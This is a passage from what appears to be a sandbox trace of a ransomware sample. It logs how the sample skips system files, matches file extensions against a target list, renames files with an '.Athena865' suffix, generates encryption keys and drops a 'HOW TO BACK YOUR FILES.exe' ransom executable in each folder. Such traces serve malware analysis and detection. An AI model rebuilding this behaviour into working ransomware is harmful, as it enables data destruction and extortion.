lpString2="ntuser.dat") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="perflogs") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="MSBuild") returned 1 [0090.988] lstrlenW (lpString="WMPSideShowGadget.exe.mui") returned 25 [0090.988] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPSideShowGadget.exe.mui" | out: lpString1="WMPSideShowGadget.exe.mui") returned="WMPSideShowGadget.exe.mui" [0090.988] lstrlenW (lpString="WMPSideShowGadget.exe.mui") returned 25 [0090.988] lstrlenW (lpString="Athena865") returned 9 [0090.988] lstrcmpiW (lpString1="t.exe.mui", lpString2="Athena865") returned 1 [0090.988] lstrlenW (lpString=".dll") returned 4 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".dll") returned 1 [0090.989] lstrlenW (lpString=".lnk") returned 4 [0090.989] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".lnk") returned 1 [0090.989] lstrlenW (lpString=".ini") returned 4 [0090.989] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".ini") returned 1 [0090.989] lstrlenW (lpString=".sys") returned 4 [0090.989] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".sys") returned 1 [0090.989] lstrlenW (lpString="WMPSideShowGadget.exe.mui") returned 25 [0090.989] lstrlenW (lpString="bak") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.989] lstrlenW (lpString="ba_") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.989] lstrlenW (lpString="dbb") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.989] lstrlenW (lpString="vmdk") returned 4 [0090.989] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.989] lstrlenW (lpString="rar") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.989] lstrlenW (lpString="zip") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.989] lstrlenW (lpString="tgz") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.989] lstrlenW (lpString="vbox") returned 4 [0090.989] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.989] lstrlenW (lpString="vdi") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.989] lstrlenW (lpString="vhd") returned 3 [0090.989] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.989] lstrlenW (lpString="vhdx") returned 4 [0090.989] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.989] lstrlenW (lpString="avhd") returned 4 [0090.989] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.989] lstrlenW (lpString="db") returned 2 [0090.990] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.990] lstrlenW (lpString="db2") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.990] lstrlenW (lpString="db3") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.990] lstrlenW (lpString="dbf") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.990] lstrlenW (lpString="mdf") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.990] lstrlenW (lpString="mdb") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.990] lstrlenW (lpString="sql") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.990] lstrlenW (lpString="sqlite") returned 6 [0090.990] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0090.990] lstrlenW (lpString="sqlite3") returned 7 [0090.990] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0090.990] lstrlenW (lpString="sqlitedb") returned 8 [0090.990] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0090.990] lstrlenW (lpString="xml") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.990] lstrlenW (lpString="$er") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.990] lstrlenW (lpString="4dd") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.990] lstrlenW (lpString="4dl") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.990] lstrlenW (lpString="^^^") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.990] lstrlenW (lpString="abs") returned 3 [0090.990] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.990] lstrlenW (lpString="abx") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.991] lstrlenW (lpString="accdb") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0090.991] lstrlenW (lpString="accdc") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0090.991] lstrlenW (lpString="accde") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0090.991] lstrlenW (lpString="accdr") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0090.991] lstrlenW (lpString="accdt") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0090.991] lstrlenW (lpString="accdw") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0090.991] lstrlenW (lpString="accft") returned 5 [0090.991] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0090.991] lstrlenW (lpString="adb") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.991] lstrlenW (lpString="adb") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.991] lstrlenW (lpString="ade") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.991] lstrlenW (lpString="adf") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.991] lstrlenW (lpString="adn") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.991] lstrlenW (lpString="adp") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.991] lstrlenW (lpString="alf") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.991] lstrlenW (lpString="ask") returned 3 [0090.991] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.991] lstrlenW (lpString="btr") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.992] lstrlenW (lpString="cat") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.992] lstrlenW (lpString="cdb") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.992] lstrlenW (lpString="ckp") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.992] lstrlenW (lpString="cma") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.992] lstrlenW (lpString="cpd") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.992] lstrlenW (lpString="dacpac") returned 6 [0090.992] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0090.992] lstrlenW (lpString="dad") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.992] lstrlenW (lpString="dadiagrams") returned 10 [0090.992] lstrcmpiW (lpString1="et.exe.mui", lpString2="dadiagrams") returned 1 [0090.992] lstrlenW (lpString="daschema") returned 8 [0090.992] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0090.992] lstrlenW (lpString="db-journal") returned 10 [0090.992] lstrcmpiW (lpString1="et.exe.mui", lpString2="db-journal") returned 1 [0090.992] lstrlenW (lpString="db-shm") returned 6 [0090.992] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0090.992] lstrlenW (lpString="db-wal") returned 6 [0090.992] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0090.992] lstrlenW (lpString="dbc") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.992] lstrlenW (lpString="dbs") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.992] lstrlenW (lpString="dbt") returned 3 [0090.992] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.993] lstrlenW (lpString="dbv") returned 3 [0090.993] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.993] lstrlenW (lpString="dbx") returned 3 [0090.993] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.993] lstrlenW (lpString="dcb") returned 3 [0090.993] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.993] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui.Athena865") returned 79 [0090.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.994] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.994] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3584) returned 1 [0090.995] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.996] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.996] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.996] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x154 [0090.997] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0090.998] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.999] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.999] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 0 [0091.000] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.000] ReleaseMutex (hMutex=0xec) returned 1 [0091.001] CloseHandle (hObject=0xec) returned 1 [0091.001] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files\\Windows Media Player\\Icons") returned="C:\\Program Files\\Windows Media Player\\Icons" [0091.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529190 | out: hHeap=0x4f0000) returned 1 [0091.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f7a8 | out: hHeap=0x4f0000) returned 1 [0091.001] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Icons") returned 43 [0091.001] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6646D94BD48297055E8875CEB081A5AD") returned 0xec [0091.001] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.001] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files\\Windows Media Player\\Icons") returned="C:\\Program Files\\Windows Media Player\\Icons" [0091.001] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.001] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.002] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\icons\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.002] GetLastError () returned 0x2 [0091.002] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.002] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.002] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.002] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.002] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.002] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.002] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.002] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.002] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.003] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.003] ReleaseMutex (hMutex=0xec) returned 1 [0091.003] CloseHandle (hObject=0xec) returned 1 [0091.003] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files\\Windows Media Player\\Media Renderer") returned="C:\\Program Files\\Windows Media Player\\Media Renderer" [0091.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f7c0 | out: hHeap=0x4f0000) returned 1 [0091.003] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52 [0091.003] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A606346427EDAAFD249CE961037140EF") returned 0xec [0091.003] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.003] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files\\Windows Media Player\\Media Renderer") returned="C:\\Program Files\\Windows Media Player\\Media Renderer" [0091.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.003] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\media renderer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.004] GetLastError () returned 0x0 [0091.004] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.004] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.005] CloseHandle (hObject=0xf4) returned 1 [0091.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.005] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfb97e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfb97e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.005] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.005] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.005] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfb97e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfb97e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.005] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.005] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.005] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.005] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.005] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2=".") returned 1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="..") returned 1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="windows") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="bootmgr") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="temp") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="pagefile.sys") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="boot") returned -1 [0091.005] lstrcmpiW (lpString1="avtransport.xml", lpString2="ids.txt") returned -1 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2="ntuser.dat") returned -1 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2="perflogs") returned -1 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2="MSBuild") returned -1 [0091.006] lstrlenW (lpString="avtransport.xml") returned 15 [0091.006] lstrcpyW (in: lpString1=0x241e8b2, lpString2="avtransport.xml" | out: lpString1="avtransport.xml") returned="avtransport.xml" [0091.006] lstrlenW (lpString="avtransport.xml") returned 15 [0091.006] lstrlenW (lpString="Athena865") returned 9 [0091.006] lstrcmpiW (lpString1="sport.xml", lpString2="Athena865") returned 1 [0091.006] lstrlenW (lpString=".dll") returned 4 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2=".dll") returned 1 [0091.006] lstrlenW (lpString=".lnk") returned 4 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2=".lnk") returned 1 [0091.006] lstrlenW (lpString=".ini") returned 4 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2=".ini") returned 1 [0091.006] lstrlenW (lpString=".sys") returned 4 [0091.006] lstrcmpiW (lpString1="avtransport.xml", lpString2=".sys") returned 1 [0091.006] lstrlenW (lpString="avtransport.xml") returned 15 [0091.006] lstrlenW (lpString="bak") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0091.006] lstrlenW (lpString="ba_") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0091.006] lstrlenW (lpString="dbb") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0091.006] lstrlenW (lpString="vmdk") returned 4 [0091.006] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0091.006] lstrlenW (lpString="rar") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0091.006] lstrlenW (lpString="zip") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0091.006] lstrlenW (lpString="tgz") returned 3 [0091.006] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0091.006] lstrlenW (lpString="vbox") returned 4 [0091.006] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0091.007] lstrlenW (lpString="vdi") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0091.007] lstrlenW (lpString="vhd") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0091.007] lstrlenW (lpString="vhdx") returned 4 [0091.007] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0091.007] lstrlenW (lpString="avhd") returned 4 [0091.007] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0091.007] lstrlenW (lpString="db") returned 2 [0091.007] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0091.007] lstrlenW (lpString="db2") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0091.007] lstrlenW (lpString="db3") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0091.007] lstrlenW (lpString="dbf") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0091.007] lstrlenW (lpString="mdf") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0091.007] lstrlenW (lpString="mdb") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0091.007] lstrlenW (lpString="sql") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0091.007] lstrlenW (lpString="sqlite") returned 6 [0091.007] lstrcmpiW (lpString1="rt.xml", lpString2="sqlite") returned -1 [0091.007] lstrlenW (lpString="sqlite3") returned 7 [0091.007] lstrcmpiW (lpString1="ort.xml", lpString2="sqlite3") returned -1 [0091.007] lstrlenW (lpString="sqlitedb") returned 8 [0091.007] lstrcmpiW (lpString1="port.xml", lpString2="sqlitedb") returned -1 [0091.007] lstrlenW (lpString="xml") returned 3 [0091.007] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0091.007] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865") returned 78 [0091.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml.athena865"), dwFlags=0x1) returned 1 [0091.008] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.008] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19842) returned 1 [0091.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.009] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.009] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.009] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.010] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, 